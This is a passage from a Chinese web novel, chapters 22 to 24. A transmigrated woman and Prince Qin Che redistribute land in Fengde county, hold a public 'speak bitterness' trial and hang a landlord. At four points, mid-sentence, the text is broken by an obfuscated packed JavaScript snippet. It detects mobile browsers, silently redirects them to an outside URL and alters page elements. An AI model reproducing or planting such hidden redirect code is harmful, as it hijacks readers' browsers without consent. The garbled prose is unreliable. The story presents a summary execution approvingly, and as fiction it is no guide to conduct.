“是,不过分地并非一件简单的事情,正好宋公子比本王更了解奉德县的情况,县主府衙中应当有关于田地的记录,不如分地一事,便由宋公子来主办,以示公正,如何?”秦澈自然明白宋远疾的顾虑,但他正好也不懂要怎么分地,本想着与白飞鹰商量着去办,如今宋远疾回来,正可谓打瞌睡送枕头,又能解决麻烦,又能显示他的公正,何乐而不为? 哪怕分地中真的出了什么矛盾冲突,那也是宋远疾该头疼的事情。 这算盘打得慕衷情都听到了,但宋远疾恰好也是求之不得。 他不信任秦澈,那么所有事经自己手去办是最放心的。 几句话间,分地这样的大事就被敲定下来,没有人反对,尤其是谭老等人,只觉清王仁慈,宋远疾大义。 对于秦澈来说,掌控奉德县并不算什么难事,反正丰王都死了,这儿也没人再敢惹他,在派人将现任县主的尸首悬挂于菜市口供人唾骂泄愤后,秦澈又派了人协助宋远疾,他无需做什么,只要每天往县衙里一坐,大家的效率就成倍地往上增长。 慕衷情自然是闲不下来的,分地这样的大事,她不去亲眼见证绝对会成为终身遗憾,再加上如今正好是小麦收割期,她也想和当地的人一起干活,了解更多这个朝代的农业信息。 与秦澈的约定固然有保命的缘由在,但提高粮食产量,可以说是刻在国人骨子里的执念了,她也不是例外。 然而,分地还未完全开始,就出现了矛盾。 按照宋远疾和白飞鹰的想法,既然地都是百姓的了,那就按照总亩数和县里的人口均分就行,这样最公平。 这个想法一提出来时,就遭到了县衙里一位蒋文书的反对。 蒋文书身材有些瘦小,平时并不引人注意,也未曾做过什么伤天害理的事情,所以并未像之前那位县主的亲信一样被捕入狱,再加上他熟悉县里各项文书的记载往来,便让他辅助分地事宜。 “均分万万不可,奉德县虽是县,但人口并不是很多,并且每家每户情况不同,有的家中子嗣单薄,老者却多,有的则是子嗣多,父母却仅存其一,有的家人体弱多病有的残疾,各家情况不一而同,均分之后,总有人仍旧养不活一家,也有人无法尽耕其田。”蒋文书平时看着安安静静的,表达自己的意见时却格外坚定。 但他说得不无道理,宋远疾并非是刚愎自用之人,只问道:“依蒋文书之见,这地应当如何分?” 蒋文书深深叹了一口气:“我若是有这般才智,便不会只是一个文书了。” 言下之意,他也不知如何分才是最好,才能兼顾到每一家每一户。 秦澈坐在一旁,他说放权便放权,除了旁听以外,不曾给过任何建议,慕衷情就坐在他身旁,沉默地思考着。 她一向热衷于种地的事情,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883447|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时这么安静,倒是让秦澈颇为意外。 秦澈凑过去一些,小声问道:“衷情可有想到什么好办法?” 慕衷情摇了摇头,她所在社会的情况和这里的完全不同,不可能照搬过来,可她对奉德县也了解不多。 宋远疾其实对奉德县的了解并不少,只是太理想化,或者说,他对这里的百姓太有感情,相信他们能够接受均分的决定,可是慕衷情可以确定,如果真的均分,必定会引起新一轮不小的动乱。 “若宋公子没有回来,王爷当初打算怎么解决分地的事情?”慕衷情反问道。 秦澈轻笑一声:“本王只懂打仗,这样的事情当然是交给白飞鹰和谭老了。” “您还真是精明得很。”慕衷情说是这么说,却也明白秦澈这么做并无什么错,专业事交给专业人,自己硬上就是外行指挥内行,然而现在的问题在于,谁才是最内行的那个? 她现在恨不得再好好上一遍党.史课,把当初土地革命的方法事无巨细地记下来,毕竟后来的她最关注的是新政策,很多知识学完就还回去了大半。 可真是书到用时方恨少啊! “各位,我有几个问题。”慕衷情虽没有想出什么十全十美的办法,仍旧开口道,“县中除了上山的穷苦百姓,可还有土豪乡绅,谁家是县里最大的地主?如果要分地,是否会动用这些人手中的地,你们打算如何处理?” 慕衷情越问,自己便越心惊,她之前还是太掉以轻心了,秦澈的权力给了她放松的空间,她总想着有秦澈,这些问题都可以迎刃而解,直到思考到这些时,她才猛然意识到,“分地”两个字,本就与这个时代的社会制度格格不入,根本没有他们一开始想得那么简单。 可也正因如此,慕衷情脑子里突然有了一个极为大胆的想法,虽然很快就被她自己摁了下去。 蒋文书听到慕衷情的问话,连忙答道:“秉王妃,之前最大的地主乃是前任县主的亲戚,如今家产皆已被王爷抄没,他们占了县里大半的地,如今大约还有三分之一的地在其他富户手中。” 听到这个数字,慕衷情深吸一口气,刚开口时声音都在抖:“所以我的想法是,第一将之前的土地占有情况整理出一份简洁明了的报告,告知所有奉德县百姓。 “第二通知剩余的所有富户,要么主动上交占有的土地,由官府进行一定的补偿,烧毁所有的田契、债务、卖身契,往后不得再以欺骗、威逼等方式欺骗不识字的农户签订这种不平等条约,要么作为被批斗的典型,强行没收土地,游街示众,让他们好好听一听所有被他们压榨过的农户的心声。 “第三,根据以每家每户的人口为标准进行分地,为防止王爷离开后,之后的官员毁掉此时此刻我们的努力,我建议还需要成立一个合作社或是委员会,用来处理土,分地后的各种事宜,并且能和官府进行周旋谈判,手中最好有一定的武力,以威慑官员,保住我们的改,分地成果。” 慕衷情大着胆子一口气说完,所有人都震惊地望着她,一室的寂静最后由白飞鹰打破。 他弱弱地问道:“王,王妃,您这是要,造反吗?” 22. 二十二、 “这也没有造反吧?”慕衷情心虚地反驳道,“这不是还没让他们推翻官府嘛。” “咳。”话讲到这里,秦澈也坐不住了,再说下去他们就真快成谋反了,“衷情的想法不无道理,只是在实行上不可过于激进,但也不可再拖延了,最多十天,分地必须完成,衷情说的合作社本王倒是觉得是个不错的想法,往后有什么田地上的麻烦,可以由合作社来解决,至于合作社的规矩,你们也要尽快定下。” “十天,这时间恐怕有些紧张。”宋远疾有些担忧,他们毕竟也没干过这样的事情,生怕出现各种各样的意外和问题。 “没有时间了,白公子亲手杀了丰王,奉德县必须在陛下的旨意到来之前稳定下来,唯有如此,本王才有足够的理由说服皇上不继续追究,若是人手不够,尽管说,本王派人协助你。”秦澈耐心解释道。 宋远疾倒吸一口凉气,自他归来,见到县主的尸体、听到清王要分地已经够震惊了,没想到自己的好朋友居然还杀了丰王? 他看向白飞鹰,又看向秦澈,白飞鹰想杀丰王,但他没有实力刺杀,所以只能是秦澈将人送到了白飞鹰面前,这既是大人情,也是滔天大罪,他们现在就是一条船上的蚂蚱。 宋远疾迅速接受了这件事,反正丰王也不是个东西,他当初也与丰王打过几次交道,这玩意死了也不可惜。 话说到这份上,慕衷情又默默举起了手:“那个,我还有个想法,如果要汇报这里的事情,可以说是搞个试点,将奉德县作为粮食增产的试点县,合作社用以总结各家各户的生产经验,或是从其他地方学来的技术,取之于民用之于民,尝试新技术新工具以提高劳作效率和粮食产量。” 宋远疾认真打量着这位穿着男装的王妃,比起他曾经在见过的大家闺秀,王公贵族,慕衷情的气质与宋远疾印象中的京都截然不同的,没有高高在上的威仪,没有精致甚至奢靡的生活,她穿着粗布麻衣,随军出行,跟着白飞鹰爬山下山,比起她的家族与身世,似乎太“俗”了些。 可任谁,都能在她的身上看到热烈的生命力,她的想法是那么奇特,用词也前所未闻,但偏偏宋远疾都能听懂,不仅听懂她所说的方法,也听懂了她的用心,宋远疾甚至可以想象,如果真到了收割的时候,慕衷情袖子一挽,裤腿一卷,直接下地的场景。 比起那些京中的高门大院,她好像更像是土地中孕育出来的人。 宋远疾和白飞鹰都陷入了思考,思考慕衷情的提议该如何去实行,秦澈也有了新思路:“试点县?虽然从未听过这般称谓,但用以说服陛下倒是个好借口,这些年赋税增加,粮草克扣,加之各地天灾频发,军民多有不满,以此为由上奏,怕是他不敢轻易动手,甚至会更加看重奉德县,如此一来,后顾之忧便解决了。” “那便,试一试?”宋远疾扫视一圈,问道。 白飞鹰向来艺高人胆大:“试啊,为何不试?” 蒋文书笑着摇摇头,却也说道:“那便试上一试,本就是死局,需不同寻常之破局法方可。” 定下方向后,再商讨具体事宜便顺利许多,后续的讨论慕衷情没有参与太多,因为秦澈带着她离开了。 关于刚刚的发言,不仅宋远疾等人重新审视了慕衷情,秦澈也毫不意外地再次思考起她的身份来。 他找不出任何理由说服自己,去相信慕家二小姐能够提出这样惊世骇俗的想法。 于是,他借口调兵来协助他们清理顽抗的富户,同时安排蒋羽在县衙坐诊,免费为穷苦百姓看病为理由,让慕衷情跟着他回军营。 慕衷情不疑有他,秦澈平日里太过温和,几乎没有在她面前展现过喋血沙场的一面,以至于她逐渐放松警惕,在他面前越来越放飞自我,什么都敢提一嘴。 回去的路上,秦澈看起来也并不着急,两人骑着马却没有疾驰,来到郊外,四处无人,正是谈心的好时机。 秦澈似不经意地感慨道:“也不知那些富户是否会真交出田契,待我们走后,宋远疾能否守住今日之局面。” “说实话很难。”慕衷情深知枪杆子里出政权的道理,“光靠他们几个书生,一些未曾读书识字的农户,往后随便一镇压,就会回到从前的局面,所以,他们其实最需要解决的,是如何让后来的官府和富户忌惮他们,甚至害怕他们。” 秦澈接话道:“可他们手无缚鸡之力,官府也只有民意鼎沸之时,尚会收敛几分,衷情认为,我留一部分士兵在这里,平日里帮他们一同种植,防着土豪乡绅再次欺负他们,与官府有冲突时,也能作为倚仗,这方法如何?” “这当然是再好不过了,就是这样一来,那位就更忌惮你了。”慕衷情说是这么说,心里却想着,这手握重兵的人就是牛啊,姜喧其实根本就压不住秦澈,一点儿也没有电视剧和小说里那种双方权谋的撕扯,完全就是单方面碾压的任性。 就在慕衷情暗叹自己抱到真大腿的时候,秦澈再次发问:“那该如何挑选留下来的士兵?” 慕衷情认真思考道:“优先家中无太多负担牵挂的,比如有人生病,上有老下有小,或是独子的,最好先排除,其次要留下一个有威望能指挥的老将,以免军心动乱,让原本的庇护成了麻烦。” 秦澈垂眸,语气十分柔和:“这也是你遇见的某一位能人所教的吗?” 慕衷情张了张嘴,犹豫了两秒,随后颇为破罐子破摔地说:“当然是。” 她知道秦澈一直怀疑她,但她现在就是慕衷情,怎么查都是慕府的二小姐。 遇见这么多事情,不让她开口说自己的想法是不可能的,反正完全憋不住,说破天也是憋不住。 当然,最重要的是,虽说满打满算,两人相处不到一月,但慕衷情认为秦澈不会因为怀疑就杀了自己。 相处越久,便越确认。 “衷情,本王十分明白,欺骗对于许多人来说是生存的必要手段。”秦澈望着前方,驾马的速度快了些许,像是要把后背留给慕衷情,“因此,本王对你身上的疑点甚少追根究底,但今日所论,实难忽略。” “啊?王爷难道没有调查过我很多次吗?”慕衷情直接反问道,“我一直都明白王爷怀疑我,所以一路从京城跟到这里,我的小命就是王爷一句话能解决的事情,若我真的有什么不轨之心,何必如此冒险?” 秦澈被戳穿也没有任何心虚,毕竟调查一个敌人送过来的人,在他看来天经地义。 秦澈:“京中官员贵族,豢养死士者众多。” “可我怕死啊!”慕衷情异常真诚。 秦澈回头:“这话有失偏颇,你并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897280|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惧死。” “死有重于泰山,亦有轻于鸿毛,我只是怕死得不值得。”慕衷情笑道。 秦澈亦勾起浅笑,只是又偏过头,没让慕衷情看到:“所以,你不可能是从小养在慕府中的二小姐,本王只是想知道,你到底是谁,将你安插到本王身边的人是慕据德还是他背后那位,真正的慕衷情去了哪儿?最重要的是,你所求为何?” 慕衷情好好理解了一番秦澈这一连串的问题,所以秦澈这是觉得有人特意培养或寻找到她这么一个与“慕衷情”长相一样的女子,专门送到他身边来卧底? 她冤呐! 她就是一个上岸后兢兢业业搞发展的三农人,平时应付一些人情世故都嫌累得慌,压根就没有做卧底的天赋! 尤其还是这种深入敌营,天天和大boss碰面的活儿。 但是,她又不能直接说她就是个异世界的灵魂,自己也不知道为什么死后鸠占鹊巢成了“慕衷情”。 这谁信谁是大傻叉。 慕衷情思忖一会儿,避重就轻道:“我不想成为任何人的棋子,我的所求,就是按照我自己的心意去活,去做我想做的事情,哪怕在旁人看来,这件事并不值得。” 乍一听,她似乎默认了自己是被派来的这件事。 但其实,说了等于什么都没说。 “所以你才选择了我?”秦澈看不出来有没有相信。 “嗯,至少和你是合作,不是棋子。”慕衷情在心里给自己点了个赞,这都能圆回来,自己可真是个小机灵鬼。 “你——” 秦澈似乎又要开口,这回慕衷情没有给他机会,直接抢过话头。 “我父母过世大约十年了,小时候家里穷,我也会经常跟着他们下地,对于我来说,土地和父母的记忆是连接在一起的,那是我人生中最温暖的日子。” 这段话是真的,只是发生在另一个世界而已。 “我无意于勾心斗角,争权夺利,没人可以掌控我,我虽然怕死,但如果是死在斗争的道路上,那也只能死而无憾。”慕衷情再次向秦澈表达自己的人生态度,“王爷,您可以一直怀疑我,也可以一直调查我,监视我,只要不阻拦我去做自己想做的事情,都无所谓,只是,您不会在我身上得到那些关于权力与阴谋的答案。” 慕衷情这番话可谓是足够情真意切,可惜,能在此时此刻依旧安然无恙,兵权在握的秦澈,是无法轻易被情真意切所打动的。 听完后,他也不过是淡淡地点点头:“本王知道了。” 不过慕衷情也不是非常在意,至少她真正的马甲是捂住了,自己那些不该在慕府二小姐身上展现的特质,也有了一个比较合理的说法。 只是没想到秦澈又说道:“世间能有人与另一人如此相似之人实在难寻,慕据德没有这个本事悄无声息地安排这一切,若你是姜喧找来的,便不可能只是临时安排,他虽毒辣,但不会安排一个自己完全无法掌控之人,亦不会轻易对自己的人行不轨之事,那日赏花宴之事,或许只是一场演给本王所看的好戏。” 慕衷情震惊,她都不知道秦澈为什么能把这些事情都联系起来,甚至听起来还十分有道理,如果这事件主角不是她自己的话,她都要信了。 “不是这样的,王爷,我冤呐!” 23. 二十三、 就在慕衷情喊完冤之后,秦澈便停了下来。 慕衷情也连忙勒马。 “名义上你是本王的枕边人,与本王同塌而眠,想要刺杀本王轻而易举,但姜喧想要的,不只是本王的命,还有本王的兵权,若是本王无缘无故被刺杀,怕是会引起兵祸,他承担不起后果,今日你既已承认并非慕家小姐,那么本王也不能留一个来历不明、是敌非友之人。” 说罢,秦澈直接拔剑,完全不给慕衷情开口和反应的时间,一剑刺向慕衷情的咽喉。 慕衷情压根不会什么功夫,也没有过专业的训练,面临突如其来的死亡威胁时,整个人都僵住了,秦澈身经百战,其动作之快也并非普通人能躲过。 就在慕衷情以为自己就要一命归西之时,剑尖在离她的脖子只有几寸的地方停住。 秦澈停了几秒,又利落地收剑。 “走吧,该回营了,还有许多事要安排。”秦澈说罢却没有丢下慕衷情立刻离开。 而是观察着慕衷情的反应。 慕衷情刚从生死边缘游走回来,花了半分钟才慢慢地将身体和心理都放松下来。 这是第一次秦澈展现对她的杀意,哪怕只是一瞬间,也足够让慕衷情体会到什么叫做从尸山血海中杀出来的威势。 她眨眨眼睛,明明心跳还因为紧张跳得很快,脸上却已经收拾好表情,冷静地说:“王爷这是在试探我的身手?怎么样,是不是失望了?” 慕衷情的语气故意调整成有些生气,却又极力压制的模样。 作为自己,她理解秦澈的试探和怀疑,但作为一个被权力安排、威胁的苦命女子,她也要有自己的脾气。 面对死亡的威胁,感到后怕和生气才是正常的。 “抱歉,吓到你了。”秦澈道歉的速度倒是很快,就是神情看不出来多少歉意。 慕衷情心中无奈,封建社会中的权力压制让人几乎找不到抗争的空隙,只要行差踏错一步,哪怕秦澈真的一剑杀了她,在旁人眼中也是再正常不过的事情。 没有人会觉得这不应该,这才是最可怕的地方。 “走吧,该回营了,接下来的十天,有得忙了。”这一回是慕衷情先动身,秦澈才跟上。 想和秦澈真正平等地去对话,她还是需要足够的筹码,慕衷情现在只希望清州的情况不要太遭,能给她发展的机会。 回到营地后,两人默契地像是没有发生过刚刚那一场试探一样,秦澈去安排事务,慕衷情依然那个唯一能够自由出入中军帐的王妃。 但他们都清楚,秦澈不会停止怀疑,慕衷情也不会因此放弃自己要做的事情,做一个乖巧听话的,毫无威胁的王妃。 之后的几天,宋远疾和白飞鹰在慕衷情的建议下,找了几个熟悉奉德县情况的人,以及像谭老一样德高望重的文人,组成了奉德县临时土地分配会,而后按照人口为标准,进行土地的重新划分。 宋远疾主要负责土地分配的任务,慕衷情则和白飞鹰又组成了斗地主小队,带着从秦澈那儿借过来的几十名士兵,一家一家地上门,找奉德县那些地主土豪谈心,准备让他们自愿将手中的地契债约销毁,并将兼并的土地交出来重新划分。 慕衷情讨厌不公的权力,但她所处的世界注定她无法去真正推翻皇权架构下的不平等,因此,秦澈是被她划分在朋友阵营的,在面对共同的敌人时,要结交有共同目标或利益的朋友,这能够省下不少麻烦事。 毕竟很多时候,讲道理是没有用的,但拿着枪讲道理,就轻松多了。 在前往奉德县最大的富户时,对方连门都不让进,慕衷情也十分果断地杀鸡儆猴,直接让手下的士兵撞开了那看起来金碧辉煌的大门,不再给他们任何解释拖延的机会,将那位高傲的大老爷捆住,她亲自牵着绳子把人拉到了街上。 白飞鹰则配合地敲锣打鼓,呐喊着这位大老爷曾经做过的恶事。 从一开始的辱骂,到后来的求饶,再到最后的沉默,慕衷情一概不理。 游街一圈后,他们的身后跟了许许多多奉德县的百姓,他们的眼中既有愤恨也有快意。 慕衷情从士兵那儿借了一杆枪,把人拉回到府门前,一棍子打在他的膝弯处,迫使他跪摔在地。 而后走到一旁,将长枪还给士兵,就地盘腿而坐,白飞鹰立刻想去阻止:“地上脏,别……” 慕衷情却拉着他的衣摆道:“没事,大家都坐下吧,就围成一个圈。” 所有人都不明所以,但大家都知道慕衷情是一直跟在王爷身边的人,于是都听话地坐了下来,围成了一个圈,圈中心还跪着那位大老爷。 府门大开着,由几名士兵把手,里头的人望着外面荒诞又奇特的场景,都不敢随意出声。 慕衷情铿锵有力地大声说道:“今天,我邀请大家一起来开一个临时的诉苦大会,我知道今日在这里的每一位百姓,都或多或少受过欺压,这世上富有又善良的人不是没有,但更多的是像这位一样,趴在普通百姓身上吸血,夺走你们赖以生存的土地,千方百计克扣赚取你们不多的血汗钱,还要打你们骂你们,不给你们一点点活下去的机会的人。 “今天我就坐在这里做个见证,每一个人都可以将自己从前受过的苦和罪,统统说出来,我们就在这里,对其进行公开的审判,大家要记住,这世上不是有钱就可以肆无忌惮地剥削、迫害别人的! “你们不用害怕,我们今日一切行为都有清王爷撑腰,不惧这些蝇营狗苟之人,他们不能报复,也不敢报复,我们不能永远被欺负,即便从前他们只将你们当牛马驱使,今日也该做回一个人了!记住,你们生来就是人!” 慕衷情富有激情的一番话震撼了在场的每一个人,白飞鹰怔怔地望着身旁的慕衷情,心中仿佛有一团火在燃烧,哪怕他并不知道这团火为何会燃烧。 那些布衣褴褛的百姓们立时群情激奋,他们被迫缄口不言的时间太长了,长到他们以为这个世界本就没有赋予他们说话的权利。 “前几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912612|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我母亲病重,想要卖地筹钱给母亲治病,我不识字,他就骗我签下了一文钱卖地的契约,强行拿走了我家的地!我母亲也因为没有钱买药去世了!他就是个害人的恶鬼!” “他抢走了我最小的女儿,还害死了她!他是凶手!” “可怜我的小弟啊,就因为不小心摔到弄脏了他的衣服,他就派人将我的小弟活活打死了。” …… 只要有一个人开口,那些被深压在心底的痛苦与仇恨就会源源不断地被激发,他们习惯了承载苦难,可没有人会喜欢这样的苦难永远笼罩在自己的一生,望不见天光。 这场诉苦大会吸引了越来越多的人,后来的人们站在外圈,听着那些自己并不陌生的罪恶,不少人当场泣不成声。 一直到深夜,才渐渐没有了人发言,慕衷情站起来活动了一下腿脚,高声宣布:“恶贯满盈,草菅人命之人,该当何罪?” 白飞鹰擦掉脸上的泪,大喊道:“死罪!” 所有人便异口同声地呐喊:“死罪!死罪!” 慕衷情挥手让人群安静下来:“好,我希望今日在场的每一个人,都不要忘记这场审判,世道艰难,却并非全无希望,明日天亮,太阳会照常升起,黑夜终究不可能战胜日升月落的天道规则,我相信,你们会拥有属于自己的土地,再无人敢抢夺,你们会用自己的双手养活一家人,再不受欺压。” 她顿了顿,下令道:“现在,执行死刑,来人,把他吊死在大门之下。” 那人闻言,吓得瞬间尿了裤子,连连磕头向慕衷情求饶,情急之下连家产赠予她的话都说出来了。 但慕衷情不为所动,两个士兵把人拖到大门前,那雕龙画凤的屋檐原本是富贵奢华的象征,如今却有绳索穿过,吊起了这间宅院的主人。 所有人围在大门前,亲眼见证着他的死亡,那一双双冷漠与仇恨的眼睛,已然成为这宅院中每个人一生恐惧的噩梦。 而此时的慕衷情,悄悄从人群中退了出来,她不知道自己这样做到底对不对,私自审判的行为放到现代社会肯定不行,可这个世界的情况没有什么参考答案可以让她去抄,也只能走一步算一步了。 她这么想着,便想安静地离开。 一抬眼,就看到人群之外还站着一个人。 今夜的月光格外明亮,落在那人的身上,像是蒙上了一层朦胧的光晕,却让慕衷情将他的神情看得格外清楚。 秦澈的目光亦只落在慕衷情的身上,似有动容与不解,复杂得让慕衷情一时没有看懂。 她朝秦澈走了过去,对他比了个“嘘”的手势,拉着人悄悄远离激动的人群。 “王爷怎么来了?”走出一段距离后,慕衷情主动问道,还不忘挖苦他一句,“难不成是想看看我这个间谍又在搞什么鬼?” 秦澈抬手,似乎是想碰慕衷情的脸,但刚抬起便又放下。 他没有回答慕衷情的话,避开了慕衷情好奇的目光,拿出一块纯白的帕子:“你哭了。” 24. 二十四、 慕衷情听到他的话,才后知后觉地抹了一把脸,她的精神全程紧绷着,都没注意到自己什么时候哭的,或许是在百姓诉苦之时,或许是在第一次下令杀人之时。 “谢谢。”慕衷情接过帕子,擦了擦脸,明明泪流满面,神情却十分雀跃。 “世间疾苦,原是这般。”秦澈轻声感慨。 慕衷情闻言,抬眼对上秦澈的目光,她的双眸亮如星辰,仿佛燃着一团永不熄灭的火焰。 “世间疾苦,或许不可能消失,但至少今天,我们帮他们报了仇,有第一次就会有第二次,有第二次就会有第三次,我们要让他们学会开口,学会反抗,只有这样,世间疾苦才会越来越少。”慕衷情说着,眸中盛满了笑意与期待,“王爷,你也是一个不忍见世间疾苦之人,对吗?” 秦澈没有正面回答,只说道:“夜深风凉,回去休息吧,蒋羽今日已搬到了县衙,剩下的士兵,他会安排。” 慕衷情笑着点了点头,秦澈再次走到了她的身前。 “王爷这么把后背交给我,不怕我忽然出手刺杀吗?”慕衷情走到他身旁,与他并肩而行,问道。 秦澈脚步一顿,又是一招熟练的顾左右而言他:“今日你很不一样,我想,你若是个男子,必定能建功立业,名垂青史。” 慕衷情成功被转移注意力,立刻反驳道:“就算我是个女子,你怎知我不能建功立业,名垂青史?我的目标,那可是比建功立业更伟大的事情。” 秦澈对此不置可否,他有悲悯之心,但毕竟是在这个世界里长大,很多根深蒂固的思想或许并非他真正所愿,但已然成为一种习惯和潜意识,若非有人点明,或许连他自己都不会意识到。 “你们这些人啊,就是太把自己当回事,又太不把别人当一回事。”慕衷情见他不说话,又继续道,“王爷,你可有想过,若你不是王爷,也无需打仗,你会想去做些什么?” 秦澈摇摇头,今晚的他格外有耐心:“我生来就在秦家,注定要置身沙场之中,我从来不曾想过自己会有另一条路。” 慕衷情一个跨步蹦到他面前,往后退着走:“那就换种说法,不必去假设任何东西,就问问你自己,最想要实现的事情是什么?哪怕是看起来不切实际的都可以。” 仔细思考了一路,直到秦澈将带来的马的缰绳交给慕衷情时,他终于有了答案:“我并未见过太多可能,我的大哥留书出走,后来再无音讯,但想来,应是自由自在,我的妹妹嫁与良人,日子也算平静,若说此时心中所愿,便是天下人人安乐,人人得偿所愿。” 慕衷情利落地翻身上马:“王爷,其实我觉得,你是一个好人。” 秦澈还未上马,抬头望向慕衷情,她的身后有一轮皎月,风清月明。 “我昨日还想杀你,你却说我是一个好人?”秦澈自嘲一笑。 见他上马,慕衷情继续说道:“我说的好人,不单单是指对于我是一个好人,而是在现下这样一个社会制度之中,你不是那种只顾自己享受,弃万民于不顾的人,所以才说好,当然了,好人并不是完美的,只不过有缺点的好人依然是好人,有优点的恶人也依旧是恶人。” 秦澈细细品味了一番慕衷情的话,笑道:“我忽然有些庆幸,他们选中的人是你了。” 慕衷情脸上也带着笑容,但没有接这句话茬。 “我以前的梦想,是当一个侠女,荡尽天下不平事,后来我发现,想要平天下不平之事,不是一个侠者就可以做到的,王爷你猜,现在我的所愿是什么?” 秦澈认真地望着慕衷情的侧脸:“你的行事我几乎从未猜到过,你的所愿,我大抵也是不懂的。” “不,这回不一样。”慕衷情望着天空,声音很温柔,“是很简单的四个字,天下大同。” 这天晚上,秦澈一宿未曾入眠,他的脑海中反反复复回荡着那一场所谓的诉苦大会。 一直到凌晨,秦澈轻手轻脚地走出营帐,他站在营地中,看着太阳慢慢升起,感受阳光落在身上的微妙升温。 没过多久,有人来报,今日天还没亮,奉德县其他富户就派人将手中的田契债约统统送到了县衙,交到宋远疾和白飞鹰手中。 昨日那招杀鸡儆猴,虽然狠了一些,但效果立竿见影。 秦澈思考片刻,便让人将守在丰王府的人统统叫回来,如今万事俱定,已无需再忌惮任何人。 刚安排好事务,秦澈准备回营帐时,便碰上嘴里叼了个饼的慕衷情双手扎着头发,急急忙忙地往外跑。 扎好头发后,慕衷情还不忘回头交代一声:“我先去帮忙分地啦,不知道他们准备得怎么样了,你晚上不用等我,如果太晚了我就在县衙睡一晚。” 慕衷情没有刻意压低声音,为了秦澈听清楚,甚至还很大声。 周围的士兵们面面相觑,也不知道自己是该听见还不该听见。 来到奉德县驻扎后,之前的赌局早就已经结束,蒋羽赢了个盆满钵满,大伙儿也都知道了慕衷情的身份。 只是王妃一人住在外头,是否有些不妥了? 大家敢想不敢言,只能都偷偷地观察秦澈的神色。 秦澈知晓慕衷情的性子,怕是并未想过男女大防之事,他笑着摇摇头,决定晚些时候去找慕衷情,像昨日那般接她回来。 十天很快过去,分地的过程并不算顺利,但总算卡着时间完成。 京城的消息还没有传来,他们便紧锣密鼓地开始进行小麦的收割。 蒋羽自从住到县衙后,天天找不到人,背着药箱四处走,随时随地开诊。 不过大家也的确顾不上他,宋远疾在原本的土地分配会解散后,又立刻牵头成立了奉德县丰收合作社,哪一家收割需要人帮忙,都可以来找宋远疾安排人。 只是目前时间紧张,人手也不够,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924125|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远疾只能继续用着秦澈调来的士兵们。 慕衷情则是自动请缨,带着两个士兵一起去李丰收家帮忙,李丰收总算是扛过了疟疾,只是身体还有些虚弱,干活效率不如从前。 正好慕衷情与之熟悉些,便主动来帮他家。 李丰收是家中独子,父亲前几年摔断了腿,平常农忙时,都是他和母亲一起下地,只是现在他家的地变大了,如今又赶时间,两个人便不太够。 慕衷情熟练地卷起袖子,系上襻膊,露出雪白的手臂。 李丰收一见她的动作,便像是被晃了眼一般,立刻转过头,红着脸说道:“慕,慕姑娘,您在田边找一处树荫坐着便是,不必亲自下地。” 慕衷情不以为然:“多一个人多一份力量嘛,抢收完不是还要轮种粟米吗?抓紧时间啊。” 说着,她又解开绑带,脱了鞋子,吓得那两个士兵也立刻转过身去,其中一人大声劝阻道:“王妃万万不可,您是千金之体,怎能露于人前。” 慕衷情闻言,不满地双手叉腰,刚要说些什么,就听身后传来熟悉的声音。 “衷情,你在做什么?” 慕衷情回头一看,是秦澈,他的手中还拎着一个食盒,难道是给她来送饭的? 秦澈三步并作两步走到慕衷情的身旁,将食盒一放,便蹲下想将她卷起的裤腿再拉下来。 慕衷情连忙按住他的手:“王爷,您这又是做什么?” 秦澈神情复杂地与慕衷情对望:“我知你并不在意他人议论,可这般行事终究是有损你的清誉。” “可是你看李丰收的母亲不就是这样生活的吗?”慕衷情指向不远处的李母,目光清澈却坚定,“王爷,我不是什么高贵的小姐,也做不了高贵的人,我不怕脏不怕累,但我怕最后,我会变成自己讨厌的那种人。” 她缓缓地推开秦澈的手,再次将裤腿卷高,而后直起身:“什么都别说了,粮食最重要。” 说罢,便要光着脚下地。 秦澈拉住了她的手腕,他很少这样逾矩,只是一时情急,但在拉住慕衷情后,他忽然又不知该说什么了。 慕衷情回头与他对视,静静地等着。 